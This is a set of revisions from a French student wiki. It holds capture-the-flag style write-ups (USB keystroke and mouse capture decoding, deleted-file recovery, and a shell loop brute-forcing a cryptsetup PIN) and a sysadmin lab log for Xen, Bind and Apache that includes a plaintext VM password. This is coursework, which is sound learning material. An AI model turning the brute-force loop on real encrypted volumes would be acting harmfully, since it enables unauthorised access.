Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.<br />
<br />
import itertools<br />
import json<br />
import matplotlib.pyplot as plt<br />
<br />
def main():<br />
packets_export_file = open('test.json')<br />
packets = json.load(packets_export_file)<br />
<br />
x_offsets = [int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.x"])<br />
for p in packets] <br />
<br />
y_offsets = [-int(p["_source"]["layers"]["usbhid.data_tree"]["usbhid.data.axis.y"])<br />
for p in packets]<br />
<br />
x_positions = list(itertools.accumulate(x_offsets))<br />
y_positions = list(itertools.accumulate(y_offsets))<br />
<br />
plt.plot(x_positions, y_positions)<br />
plt.title("Mouse position")<br />
plt.xlabel("X")<br />
plt.ylabel("Y")<br />
plt.show()<br />
<br />
main()</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58312Cyber 2021/2022 G32022-01-20T12:53:44Z<p>Cgodet1 : </p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
Equipe : Louis WADBLED, Clement GODET<br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
OK<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58311Cyber 2021/2022 G32022-01-20T12:52:32Z<p>Cgodet1 : /* Perçage de coffre */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
A une certaine vitesse d'écoute, on peut entendre une autre mélodie. En cherchant un peu la mélodie sur internet, on peut trouver la personne que l'on entend.<br />
<br />
= Perçage de coffre =<br />
<br />
On désarchive l'archive. Il s'agit d'un fichier que l'on peut décrypter avec crytsetup en mode "plain" en spécifiant un mot de passe.<br />
On teste ensuite la valeur de retour de "mount". Si il y a une erreur, la clé utilisée par cryptsetup est érronée. On efface alors le fichier créé avec cryptsetup close.<br />
<br />
On utilise le script suivant pour forcer le coffre : <br />
#!/bin/sh<br />
i=0<br />
while [ $i -lt 10000 ]<br />
do<br />
echo $i | cryptsetup plainOpen chiffre chiffre<br />
if [ $? -ne 0 ];<br />
then <br />
echo "Erreur lors du crytpsetup"<br />
exit<br />
fi <br />
<br />
mount /dev/mapper/chiffre /mnt/chiffre<br />
if [ $? -eq 0 ]; then <br />
echo "Succes: $i"<br />
exit<br />
else<br />
cryptsetup close chiffre chiffre<br />
fi <br />
<br />
i=$(( i+1 ))<br />
done<br />
<br />
Une fois le code trouvé, on a un dossier monté.<br />
A partir des infos fournies dans le dossier, on reconstitue l'IBAN au complet<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
OK<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
On affiche le fichier .wav dans le terminal, on trouve un bloc un peu bizarre très bien arrangé pour un fichier de ce type. On trouve sur internet de quel type de donnée il s'agit pour le bloc, que l'on peut convertir en image. L'image nous donne ensuite le flag (avec un peu de recherche sur l'image aussi).<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
Voir le cours.<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
OK<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris. On exporte tous les paquets ayant une <code>frame.len==71</code> car ce sont eux qui contiennent des HID DATA. Dans les HID DATA, on trouve les boutons appuyés par la souris ainsi que ses déplacements. Avec un script python sur ces données, on peut trouver le dessin du flag.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58216Cyber 2021/2022 G32022-01-19T10:33:24Z<p>Cgodet1 : /* Travail de serrurerie */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
En inspectant les dossiers fraichement montés, on trouve une archive qui nous demande un mot de passe.<br />
Le mot de passe se trouve dans un fichier qui n'apparait pas, même en faisant 'ls -la'<br />
Le fichier a probablement été masqué grâce à la commande 'rm'<br />
On utilise l'utilitaire photorec pour retrouver le fichier supprimé :<br />
$ photorec /dev/nbd0<br />
En spécifiant /dev/nbd0, on permet à l'utilitaire de retrouver uniquement les fichiers appartenant à ce disque, ce qui est quand même plus rapide que de scanner toute la zabeth.<br />
On trouve alors le MDP pour ouvrir l'archive<br />
<br />
= Spécialiste des écoutes =<br />
<br />
= Perçage de coffre =<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=Cyber_2021/2022_G3&diff=58215Cyber 2021/2022 G32022-01-19T10:10:26Z<p>Cgodet1 : /* Travail de serrurerie */</p>
<hr />
<div>__TOC__<br />
<br style="clear: both;"/><br />
<br />
= Flocons =<br />
<br />
= Espion dans le bus =<br />
<br />
On télécharge le fichier et sur wireshark, application du filtre : <code>((usb.transfer_type == 0x01) && (frame.len==72)) && !(usb.capdata == 00:00:00:00:00:00:00:00)</code>. Grâce à ce filtre, on trouve tous les paquets contenant des "Leftover Capture Data", ce sont les touches du clavier qui ont été utilisées (et non pas les caractères ASCII). Il faut maintenant trouver les caractères selon les touches utilisées. Et on prend le 4ème caractère sur chaque ligne pour trouver le flag.<br />
<br />
= Travail de serrurerie =<br />
<br />
On désarchive le .zip puis on déchiffre le fichier à l'aide des commandes suivantes :<br />
$ modprobe nbd<br />
permet de créer un fichier /dev/nbd0<br />
<br />
$ qemu-nbd -c /dev/nbd0 data --format=raw<br />
génère les partitions /dev/nbd0p1 et /dev/nbd0p2<br />
<br />
On monte ensuite les partitions :<br />
$ mkdir /mnt/data1 /mnt/data2<br />
$ mount /dev/nbd0p1 /mnt/data1<br />
$ mount /dev/nbd0p2 /mnt/data2<br />
<br />
= Spécialiste des écoutes =<br />
<br />
= Perçage de coffre =<br />
<br />
= Déchiffrer le manuscrit =<br />
<br />
= Dessiner avec des sons =<br />
<br />
= Encore une image en musique =<br />
<br />
= Clef à la loupe =<br />
<br />
= Filsss fait un sssssomme =<br />
<br />
= Existe-t-il encore de vraies brutes ? =<br />
<br />
= Déjà vu =<br />
<br />
Avec le <code>GET DESCRIPTOR Response DEVICE</code> (taille 82), on trouve l'idVendor (Mad Catz) et avec le <code>GET DESCRIPTOR Response CONFIGURATION</code> (taille 98), on voit que le périphérique utilisé est une souris.</div>Cgodet1https://wiki-ima.plil.fr/mediawiki//index.php?title=TP_sysres_IMA5_2021/2022_G11&diff=58023TP sysres IMA5 2021/2022 G112022-01-12T12:59:25Z<p>Cgodet1 : </p>
<hr />
<div>=Creation de la machine virtuelle=<br />
<br />
Tout d'abord, s'il y a un problème de proxy, taper la commande :<br />
export http_proxy=http://proxy.plil.fr:3128<br />
Cela indique l'adresse du proxy à utiliser pour les requetes HTTP, HTTPS, FTP et autres joyeusetés.<br />
<br />
On souhaite déployer une machine virtuelle sur l'hyperviseur Capbreton<br />
Pour ce faire, on se connecte d'abord en SSH sur root@capbreton<br />
On créé ensuite un répertoire dans /usr/local/xen en choisissant un nom en rapport avec le thème choisi : la bière.<br />
J'ai choisi la bière 'Corona' en référence aux temps sombres et incertains que nous vivons, tout en me rappellant que c'est après les nuits les plus somrbes que l'aurore apparait la plus rayonnante.<br />
<br />
La creation de la VM requiert de fixer l'ip et le masque de sous-réseau. On se base sur les ips que nous avons fixé après concertation.<br />
On précise également le nom de la machine, le mot de passe, la distribution et l'emplacement des fichiers de la VM.<br />
<br />
xen-create-image --hostname=Corona --ip=193.48.57.186 --gateway=193.48.57.188 --netmask=255.255.255.240 --dir=/usr/local/xen --password=pasglop --dist=bullseye<br />
<br />
On créé ensuite 2 volumes logiques dans le répertoire /dev/storage :<br />
<br />
lvcreate -L10G -n Corona1 storage<br />
lvcreate -L10G -n Corona2 storage<br />
<br />
On les formate en ext4 :<br />
<br />
mkfs.ext4 /dev/storage/Corona1<br />
mkfs.ext4 /dev/storage/Corona2<br />
<br />
Enfin, on modifie le fichier /etc/xen/Corona.cfg :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
]<br />
<br />
devient :<br />
<br />
disk = [<br />
'file:/usr/local/xen/domains/Corona/disk.img,xvda2,w',<br />
'file:/usr/local/xen/domains/Corona/swap.img,xvda1,w',<br />
'phy:/dev/storage/Corona1,xvda3,w',<br />
'phy:/dev/storage/Corona2,xvda4,w',<br />
]<br />
<br />
et <br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC' ]<br />
<br />
devient :<br />
<br />
vif = [ 'ip=193.48.57.186 ,mac=00:16:3E:AE:EA:EC ,bridge=IMA5sc' ]<br />
<br />
<br />
Pour lancer la VM, on execute :<br />
<br />
xl create -c /etc/xen/Corona.cfg<br />
<br />
<br />
Dans la VM, on visualise les informations relatives au file system avec la commande :<br />
<br />
cat /etc/fstab<br />
<br />
xvda1 et xvda2 apparaissent mais pas xvda3 et xvda4. On les créer avec :<br />
<br />
mkdir /mnt/xvda3<br />
mkdir /mnt/xvda4<br />
mount /dev/xvda3 /mnt/xvda3<br />
mount /dev/xvda4 /mnt/xvda4<br />
<br />
On va utiliser xvda4 pour stocker le dossier var, et xvda3 pour stocker home :<br />
<br />
mv /var/* /mnt/xvda4<br />
<br />
Puis dans /etc/fstab, on ajoute :<br />
<br />
/dev/xvda3 /home ext4 defaults 0 2<br />
/dev/xvda4 /var ext4 defaults 0 2<br />
<br />
Ensuite, on execute : <br />
<br />
mount -a<br />
<br />
Enfin, on vérifie que les partitions ajoutées existent : <br />
<br />
lsblk<br />
<br />
<br />
On ajoute ensuite la ligne suivante dans /etc/network/interfaces :<br />
<br />
iface eth0 inet6 auto <br />
<br />
On applique les changements en redemarrant : <br />
<br />
systemctl restart networking<br />
<br />
On vérifie que la modification a eu lieu :<br />
<br />
ip a<br />
<br />
<br />
Raccourci pour quitter la VM : CTRL + ']'<br/><br />
Commande pour se connecter à la VM : xen console Corona<br />
<br />
=Configuration de la VM=<br />
A présent, on configure la VM.<br />
On installe openssh-server s'il n'est pas installé :<br />
apt install openssh-server<br />
On édite ensuite dans le fichier /etc/ssh/sshd_config les lignes :<br />
PermitRootLogin without-password<br />
PubkeyAuthentication yes<br />
<br />
Puis on recharge la configuration avec :<br />
systemctl reload ssh<br />
<br />
Sur la zabeth, on créé une clé ssh avec :<br />
ssh-keygen -t ed25519<br />
<br />
On copie la clé publique que l'on vient de générer pour la coller dans le fichier ~/.shh/authorized_keys de la VM.<br />
Coté zabeth, on peut alors se connecter à la machine virtuelle directement en ssh grâce à la commande : <br />
ssh -o "IdentitiesOnly=yes" -i ma_cle_privée root@193.48.57.186<br />
<br />
<br />
=Déploiement site=<br />
On achète le nom de domaine 'corona59.club' sur Gandi.net<br />
Toujours sur Gandi.net, on configure le Glue Record de notre nom de domaine en indiquant que notre nameserver s'appelle ns.corona59.club et qu'il se trouve à l'adresse 193.48.57.186.<br />
On configure également notre nameserver dans Domain > MON_NOM_DE_DOMAINE > nameservers<br />
On ajoute un nameserver externe. En premier on met "ns.corona59.club", en deuxième on met "ns6.gandi.net"<br />
<br />
<br />
On installe ensuite bind sur la vm :<br />
apt install bind9<br />
et on vient modifier /etc/resolv.conf pour utiliser notre propre serveur de nom :<br />
nameserver 193.48.57.186<br />
(peut etre utiliser 127.0.0.1, mais je suis pas sûr)<br />
On modifie ensuite /etc/bind/named.conf.local :<br />
zone MON_NOM_DE_DOMAINE {<br />
type master;<br />
file "/etc/bind/db.MON_NOM_DE_DOMAINE<br />
allow-transfer { 217.70.177.40; };<br />
};<br />
l'adresse "217.70.177.40" correspond au nameserver de Gandi.net et nous sert de nom de serveur secondaire. Ainsi, lorsque notre nameserver ne sait pas à quelle IP correspond un nom, il interroge Gandi.<br />
<br />
On créé ensuite le fichier /etc/bind/db.corona59.club :<br />
$TTL 604800<br />
@ IN SOA ns.corona59.club postmaster.corona59.club. (<br />
4 ; Serial<br />
604800 ; Refresh<br />
86400 ; Retry<br />
2419200 ; Expire<br />
604800 ) ; Negative Cache TTL<br />
;<br />
@ IN NS ns.corona59.club.<br />
@ IN NS ns6.gandi.net.<br />
<br />
On ajoute au fichier /etc/bind/db.corona59.club :<br />
ns IN A 193.48.57.186<br />
www IN A 193.48.57.186<br />
IN AAAA 2001:7a8:116e:60b0:216:3eff:feae:eaec<br />
<br />
On teste que notre configuration est correcte :<br />
host -t any ns.corona59.club localhost<br />
On obtient :<br />
Using domain server:<br />
Name: localhost<br />
Address: 127.0.0.1#53<br />
Aliases: <br />
<br />
corona59.club has SOA record ns.corona59.club.corona59.club. postmaster.corona59.club. 4 604800 86400 2419200 604800<br />
corona59.club name server ns.corona59.club.<br />
corona59.club name server ns6.gandi.net.<br />
<br />
Si on obtient pas ça, penser à lancer la commande :<br />
tail -50 /var/log/daemon.log<br />
afin de voir ce qui c'est mal passé.<br />
<br />
A chaque modification des fichiers du repertoire /etc/bind, penser à relancer bind avec <br />
service bind9 restart<br />
<br />
=Certificat SSL=<br />
Pour obtenir un certificat SSL, on tape :<br />
openssl req -nodes -newkey rsa:2048 -sha256 -keyout corona59.club.key -out corona59.club.csr <br />
On rentre ensuite les informations demandées par l'utilitaire (adresse mail, pays, etc). Il faut faire bien attention à rentrer le nom de domaine dans "Common Name"<br />
Un fichier .csr et .key sont créés.<br />
On copie-colle le contenu du fichier .csr dans Gandi pour créer un certificat à l'adresse : https://shop.gandi.net/en/0f32d906-a208-11e7-9da6-00163e61ef31/certificate/create<br />
On choisit une procédure de validation (j'ai choisi DNS). Une fois le certificat validé, on peut télécharger le fichier .crt généré par Gandi que l'on place dans le répertoire /etc/ssl/certs/ de la VM. On télécharge également le certificat intermédiaire généré par Gaandi que l'on place dans le même répertoire.<br />
<br />
=Serveur web=<br />
Pour déployer un serveur web, on installe apache2. On utilise ensuite l'utilitaire a2enmod pour activer les modules apache qui nous interessent.<br />
a2enmod ssl<br />
<br />
On créé le répertoire corona59.club dans /var/www/ ainsi que le fichier de configuration /etc/apache2/sites-available/000-corona59.club-ssl.conf :<br />
<br />
<VirtualHost 193.48.57.186:443><br />
ServerName corona59.club<br />
ServerAlias www.corona59.club<br />
DocumentRoot /var/www/corona59.club/<br />
CustomLog /var/log/apache2/secure_access.log combined<br />
<br />
SSLEngine on<br />
SSLCertificateFile /etc/ssl/certs/corona59.club.crt<br />
SSLCertificateKeyFile /etc/ssl/corona59.club.key<br />
SSLCACertificateFile /etc/ssl/certs/GandiStandardSSLCA2.pem<br />
SSLVerifyClient None<br />
</VirtualHost><br />
<br />
On active notre site avec la commande :<br />
a2ensite 000-corona59.club-ssl <br />
<br />
On édite le fichier /etc/apache2/apache2.conf en rajoutant <br />
ServerName corona59.club<br />
<br />
On relance apache :<br />
systemctl reload apache2<br />
<br />
On teste le fonctionnement avec :<br />
openssl s_client -connect 193.48.57.186:443<br />
<br />
CONNECTED(00000003)<br />
Can't use SSL_get_servername<br />
depth=2 C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
verify return:1<br />
depth=1 C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
verify return:1<br />
depth=0 CN = corona59.club<br />
verify return:1<br />
---<br />
Certificate chain<br />
0 s:CN = corona59.club<br />
i:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
1 s:C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
i:C = US, ST = New Jersey, L = Jersey City, O = The USERTRUST Network, CN = USERTrust RSA Certification Authority<br />
---<br />
Server certificate<br />
-----BEGIN CERTIFICATE-----<br />
MIIGODCCBSCgAwIBAgIRANSBYLR9JBGxmC8RQbK0N1QwDQYJKoZIhvcNAQELBQAw<br />
XzELMAkGA1UEBhMCRlIxDjAMBgNVBAgTBVBhcmlzMQ4wDAYDVQQHEwVQYXJpczEO<br />
MAwGA1UEChMFR2FuZGkxIDAeBgNVBAMTF0dhbmRpIFN0YW5kYXJkIFNTTCBDQSAy<br />
MB4XDTIxMTIxMzAwMDAwMFoXDTIyMTIxMzIzNTk1OVowGDEWMBQGA1UEAxMNY29y<br />
b25hNTkuY2x1YjCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBALUUeFaW<br />
oimeIzBDolopsjlg2G0Q7qT24rPjh6a5BMp1tvCkKhV/3rCHzQSu6n4sK1qls0FB<br />
OqlddzYxV9qO38POg72/mBcXHs+fuEN46tCTl7Py+Zg5nOlaMjCB/F7MUZsFoSuf<br />
erRb0gmiCpXorXL+FUteOapZzCcpInFS56fIX1plipIP81RD//MZ4NFPDFRWHU1f<br />
D1Mm5xw3WIPFEVdqNvQHhUm0yNf9QEY7lV9pf7FXAX6ZBPvUYTaNMRkbfKkNgjrs<br />
0T3aIAq+48UdLAk+miFFUH9UyM4BF/R76SItZ7NFhTNrdvXkzbPKNnWzvh8yb2Zh<br />
Nk/g6taWKSK29RsCAwEAAaOCAzQwggMwMB8GA1UdIwQYMBaAFLOQp9jJr07NYTyf<br />
fK1df0H9aTDqMB0GA1UdDgQWBBQphH/Ob2j83ZRdroQhFgvI3wjsyjAOBgNVHQ8B<br />
Af8EBAMCBaAwDAYDVR0TAQH/BAIwADAdBgNVHSUEFjAUBggrBgEFBQcDAQYIKwYB<br />
BQUHAwIwSwYDVR0gBEQwQjA2BgsrBgEEAbIxAQICGjAnMCUGCCsGAQUFBwIBFhlo<br />
dHRwczovL2Nwcy51c2VydHJ1c3QuY29tMAgGBmeBDAECATBBBgNVHR8EOjA4MDag<br />
NKAyhjBodHRwOi8vY3JsLnVzZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENB<br />
Mi5jcmwwcwYIKwYBBQUHAQEEZzBlMDwGCCsGAQUFBzAChjBodHRwOi8vY3J0LnVz<br />
ZXJ0cnVzdC5jb20vR2FuZGlTdGFuZGFyZFNTTENBMi5jcnQwJQYIKwYBBQUHMAGG<br />
GWh0dHA6Ly9vY3NwLnVzZXJ0cnVzdC5jb20wKwYDVR0RBCQwIoINY29yb25hNTku<br />
Y2x1YoIRd3d3LmNvcm9uYTU5LmNsdWIwggF9BgorBgEEAdZ5AgQCBIIBbQSCAWkB<br />
ZwB2AEalVet1+pEgMLWiiWn0830RLEF0vv1JuIWr8vxw/m1HAAABfbQsDh0AAAQD<br />
AEcwRQIhAO17SRAY2GGTqlDqcIh5GPYmysEZ+9EQHNT4eGVA07GZAiB3jV1h/WvJ<br />
JjLamcWvZ5x4iMh2ZETtf33uRB6bQbXzKQB2AEHIyrHfIkZKEMahOglCh15OMYsb<br />
A+vrS8do8JBilgb2AAABfbQsDeMAAAQDAEcwRQIgbVz8muFonTu/DeOopCHEUpd1<br />
5ckL7I9Bhu/2zLVeYzICIQCSkK2o0vMoGW99Gq9BjBtE/RO7kueJTF/COlPbIBfB<br />
DwB1ACl5vvCeOTkh8FZzn2Old+W+V32cYAr4+U1dJlwlXceEAAABfbQsDbUAAAQD<br />
AEYwRAIgCzAQUVKGb8EvqQ+WCALDrjvNTqf2DY4fUk06qeEAIVkCIBHbOUioDNnV<br />
UsEiUkXXtTOYVQlea94BtE5oYFjBqH3aMA0GCSqGSIb3DQEBCwUAA4IBAQCA4+9H<br />
XoMkIkagjr+TNxb4BXtruGyGGrx0MUWWjvcb3djn/8QCDLCwP6+BTVQEk2DP31v5<br />
B4GNeWiNmI1QjprzjlLSQyWeauTdRDoAS+mxhsaPBtT3QmHbyVdnnPSeUmDKznr9<br />
TEEfeGmPW/l0TiLc9yYrIyix6Ixb82qvL4BkfFkqk08lEstjimReU5Ma6zj85Q3X<br />
cvpT+Zav8mYMBAjJocgdTZYsiydajuv8h3I+EL5B5KxgFbvPtUySsPJwmLZ2pama<br />
7zsTzgYhdjL6LasHLxT9PIKYzp4WiNGRvpYbvnimWDZJzyYNLbw+ZSeZoS9DSzhY<br />
e0D4Wcue+OV6y/j2<br />
-----END CERTIFICATE-----<br />
subject=CN = corona59.club <br />
<br />
issuer=C = FR, ST = Paris, L = Paris, O = Gandi, CN = Gandi Standard SSL CA 2<br />
<br />
---<br />
No client certificate CA names sent<br />
Peer signing digest: SHA256<br />
Peer signature type: RSA-PSS<br />
Server Temp Key: X25519, 253 bits<br />
---<br />
SSL handshake has read 3674 bytes and written 363 bytes<br />
Verification: OK<br />
---<br />
New, TLSv1.3, Cipher is TLS_AES_256_GCM_SHA384<br />
Server public key is 2048 bit<br />
Secure Renegotiation IS NOT supported<br />
Compression: NONE<br />
Expansion: NONE<br />
No ALPN negotiated<br />
Early data was not sent<br />
Verify return code: 0 (ok)<br />
---<br />
---<br />
Post-Handshake New Session Ticket arrived:<br />
SSL-Session:<br />
Protocol : TLSv1.3<br />
Cipher : TLS_AES_256_GCM_SHA384<br />
Session-ID: 5376D0C56EE60841482046ED97C0C303438A2BF5262A7391D15559996425B7AF<br />
Session-ID-ctx: <br />
Resumption PSK: A881594DA00CCD5FF520055864E880EE6D2CB48C6125BC72DEA6A5F8DBD8C6EBEC1853DC5C886744211D4EE130C26382<br />
PSK identity: None<br />
PSK identity hint: None<br />
SRP username: None<br />
TLS session ticket lifetime hint: 300 (seconds)<br />
TLS session ticket:<br />
0000 - 34 f0 8c fe c2 12 d7 34-f3 36 2f 9c 86 c2 68 db 4......4.6/...h.<br />
0010 - 01 f2 eb fd 4e f3 f4 88-6a d6 46 5e 8e f6 b9 d2 ....N...j.F^....<br />
0020 - bd a2 4c 42 95 fd 4a a7-c3 38 b0 7d b5 5b 33 50 ..LB..J..8.}.[3P<br />
0030 - 6b 91 1e 69 e3 57 7d 1a-bb 0c 9d 75 f2 b6 c2 b6 k..i.W}....u....<br />
0040 - c3 73 f7 a7 45 b8 15 83-62 9e 47 1b f4 b0 f8 62 .s..E...b.G....b<br />
0050 - 26 5f aa 92 fd d1 c6 54-55 56 2c a6 13 42 b5 b0 &_.....TUV,..B..<br />
0060 - cc 5c c5 98 2f 11 69 28-ee 16 84 46 69 ec c4 75 .\../.i(...Fi..u<br />
0070 - b4 aa 3b 28 fb 84 1f cb-82 82 93 52 fe a8 2f 28 ..;(.......R../(<br />
0080 - c7 2c 18 9f 9e e3 d2 44-b1 f8 a6 5b ae 6c 6b f7 .,.....D...[.lk.<br />
0090 - a1 30 c9 af ad a8 92 4e-d9 af d8 3d 83 01 4c ec .0.....N...=..L.<br />
